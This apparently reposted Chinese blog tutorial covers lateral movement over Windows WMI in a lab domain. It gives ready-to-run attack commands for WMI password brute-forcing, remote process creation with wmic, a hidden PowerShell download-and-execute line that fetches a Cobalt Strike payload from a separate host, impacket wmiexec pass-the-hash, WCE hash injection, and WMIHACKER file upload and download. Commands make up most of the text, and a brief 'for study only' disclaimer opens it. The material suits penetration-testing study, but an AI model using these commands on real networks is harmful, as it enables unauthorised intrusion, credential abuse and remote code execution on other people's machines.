美文网首页内网攻防
横向移动之WMI

横向移动之WMI

作者: book4yi | 来源:发表于2022-05-23 22:00 被阅读0次

    本文仅作学习记录,如有侵权,请联系删除!

    WMI:


    WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI 服务使用 DCOM(TCP 端口135)或 WinRM 协议(SOAP端口 5985)

    当攻击者使用WMM进行攻击时,Windows操作系统默认不在日志中记录这些操作,同时攻击脚本无须写入磁盘,极具隐蔽性。WMI服务使用DCOM(TCP端口135)建立初始连接,后续的数据交换则使用随机选定的TCP端口。一旦攻击者获得系统管理员的账户和密码,就可以在目标机器上执行任意命令,进行拷贝文件等操作。

    WMI爆破(135端口):

    提前在ladon.exe目录下准备好user.txt和pass.txt

    ladon.exe 192.168.107.1/24 WmiScan
    

    下面介绍多种工具,它们分别无回显、使用写入文件回显及注册表的方式回显。

    • 无回显,系统自带工具
    • 注册表回显,工具有:WMIcmd.exe
    • 写文件回显,工具有:wmiexec.vbs、wmiexec.py
    0x01 wmic:

    WMIC是一款命令行管理工具,Windows Server 2003起默认包含。使用WMIC,可管理本地计算机,也可管理同一Windows域内的所有远程计算机(需要必要的权限),而被管理的远程计算机不必事先安装WMIC,只需要支持WMI即可。

    使用WMIC连接远程主机,需要目标主机开放 135 端口,且允许随机一个高位端口进行通信(135 端口是 WMIC 默认的管理端口)

    wmic命令需要本地管理员或域管理员才可以进行正常使用,普通权限用户若想要使用wmi,可以修改普通用户的ACL,不过修改用户的ACL也需要管理员权限

    在使用WMIC远程管理Windows Server服务器中,使用管理员账户Administrator没有任何问题。但是,从服务器安全的角度讲,WMIC远程管理时,使用使用管理员权限的风险是非常大的。那么在使用普通用户时往往会遇到 拒绝访问(Access denied)的错误

    利用过程:
    1、以普通用户连接192.168.107.189(DC),并在机器上创建一个进程执行系统命令,将结果写入c:\result.txt文件中:

    wmic /node:192.168.107.189 /user:tester /password:abc123 process call create "cmd.exe /c ipconfig > c:\result.txt"
    

    wmic上线CS:
    注意:powershell对于特殊字符的转义,例如",@,#,$等等

    wmic /NODE:192.168.107.189 /user:"tester" /password:"pass123" PROCESS call create "powershell.exe -no p -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.107.129/a'))\""
    

    如果预先与目标主机建立了ipc$连接,就不需要在wmic指定/user和/password了

    2、利用ipc$命名管道连接, 查看192.168.107.189计算机连接信息和共享资源获得回显

    net use \\192.168.107.189\ipc$ "abc123" /user:tester
    type \\192.168.107.189\c$\result.txt
    
    0x02 wmiexec:

    wmiexec.py
    impacket 工具包里的 wmiexec.py,提供了通过 wmi 执行命令并回显的功能。wmiexec.py会生成一个使用Windows Management Instrumentation的半交互式shell,并以管理员身份运行。不需要在目标服务器上安装任何的服务/代理,因此隐蔽性较好。

    • 原理:通过 wmi 执行命令,并将执行结果保存文件,通过 smb 读取返回结果
    • 缺点:执行结果写入文件的方式容易被发现,输出结果需要使用网络共享协议
    • 使用条件:需要 445、135 和高位随机的一个端口都允许通信

    补充:wmiexec.py 还支持无回显的方式进行命令执行。这种方式是不会建立 SMB 连接,也就不需要 445 端口的开放

    "注意:遇到特殊字符使用\进行转移,例如123@456,转义后:123\@456"
    python wmiexec.py sws:pass123@192.168.107.169 -codec gb2312
    python wmiexec.py tester:pass123@192.168.107.189 -dc-ip 192.168.107.189
    python wmiexec.py DC.COM/tester:Sws12345678?@192.168.107.189
    python wmiexec.py -hashes 00000000000000000000000000000000:187ff47deff1xxxxxxxxxxxxxxxxxxxx tester@192.168 .107.189
    

    wmiexec.vbs

    wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能,wmiexec.vbs 下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs

    wmiexec支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。

    cscript //nologo wmiexec.vbs /shell 192.168.107.189 tester pass123
    cscript wmiexec.vbs /cmd 192.168.107.189 tester pass123 "command"
    

    如果没有破解出账号密码,也可以配合WCE的hash注入功能一起使用,先进行hash注入,然后再使用wmiexec即可

    wce –s 账号:主机名或域的名字:LM:NTLM
    cscript //nologo wmiexec.vbs /shell 192.168.0.1
    

    Tips:如果抓取的LM hash是AAD3开头的,或者是No Password之类的,就用32个0代替LM hash即可

    利用原理

    • 整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC连接。随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。
    • 当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当wmiexec退出时,删除文件共享。

    缺点: 执行结果写人文件的方式在如今网络环境中容易被发现,并且输出结果需要使用网络共享协议,如果网络共享服务关闭将无法回显。

    由于WMI只负责创建进程,没有办法判断命令是否执行完毕,所以脚本采用的方法是延迟1200ms后读取结果文件,但是如果命令执行的时间大于1200ms,比如systeminfo或者ping之类的,这时读取文件的结果不完整,在删除结果文件的时候也会出错,需要加上 -wait 5000 或更长的时间。

    由于正常的命令都要查看结果,所以执行的命令后面都会加上重定向符,把结果输出到文件中。所以用这个执行木马会有问题,因为木马进程会一直存在,导致结果文件被占用,不能删除,也不能改写。为了解决这个问题,加入了-persist选项。当命令加了persist选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的PID,方便结束进程。

    0x03 WMIHACKER:

    主要功能:1、命令执行;2、文件上传;3、文件下载;4、PTH使用
    优点:无需445端口开放

    # 有回显
    cscript WMIHACKER_0.6.vbs /cmd 192.168.107.189 tester "pass123" "whoami" 1
    
    # 模拟shell模式
    cscript WMIHACKER_0.6.vbs /shell 192.168.107.189 tester "pass123"
    
    # 文件上传
    cscript WMIHACKER_0.6.vbs /upload 192.168.107.189 tester "pass123" "c:\windows\system32\calc.exe" "c:\calc.exe"
    
    # 文件下载,下载远程主机calc.exe到本地c:\calc.exe
    cscript WMIHACKER_0.6.vbs /download 192.168.107.189 tester "pass123" "c:\windows\system32\calc.exe" "c:\calc.exe"
    
    0x04 WMIcmd:

    WMIcmd.exe由NCC Group公司(基于Framework 4)开发,是一款用于执行WMI命令的软件。其整个工作过程为先调用WMI通过账号和密码连接到远程计算机,当用户输人命令时,WMI创建进程执行该命令,然后把执行结果写人注册表,接着读取注册表并删除、再把执行结果回显到本地控制台

    优点:远程连接使用135端口通信,不需要额外的端口
    缺点:执行结果回显不太稳定,需要注册表相关权限,实战中不太好用
    注意:WMIcmd需要.NET4.5.2的支持,且需要在域内使用

    ### 在工作组尝试执行命令
    Ladon.exe wmiexec 192.168.107.189 tester pass123 cmd whoami
    Ladon.exe wmiexec2 192.168.107.189 tester pass123 cmd whoami
    ### 在域内尝试执行命令
    ladon.exe wmiexec2 192.168.107.189 DC\tester pass123 cmd whoami
    
    WMIcmd.exe -h IP -d hostname -u username -p password -c "whoami"
    
    0x05 WmiSploit:
    powershell import-module .\Enter-WmiShell.ps1;Enter-WmiShell -ComputerName DC -UserName tester
    
    powershell import-module .\Enter-WmiShell.ps1;Enter-WmiShell -ComputerName 192.168.107.189 -UserName DC\tester
    

    参考如下:


    WMI攻与防
    内网横移RCE(上)

    相关文章

      网友评论

        本文标题:横向移动之WMI

        本文链接:https://www.haomeiwen.com/subject/ydaiurtx.html